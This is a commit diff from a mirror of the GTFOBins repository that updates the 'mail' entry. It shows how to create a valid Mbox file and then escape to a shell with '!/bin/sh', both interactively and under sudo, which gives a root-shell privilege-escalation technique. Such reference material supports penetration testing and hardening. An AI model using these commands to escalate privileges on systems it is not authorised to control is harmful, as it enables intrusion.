mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Use valid Mbox file for mail
This commit is contained in:
parent
06966c8cd4
commit
7fa5b1e16e
@ -1,11 +1,17 @@
|
||||
---
|
||||
functions:
|
||||
execute-interactive:
|
||||
- code: |
|
||||
mail -f /etc/hosts
|
||||
- description: This creates a valid Mbox file which may be required by the binary.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo "From nobody@localhost $(date)" > $TF
|
||||
mail -f $TF
|
||||
!/bin/sh
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
sudo mail -f /etc/hosts
|
||||
- description: This creates a valid Mbox file which may be required by the binary.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo "From nobody@localhost $(date)" > $TF
|
||||
sudo mail -f $TF
|
||||
!/bin/sh
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user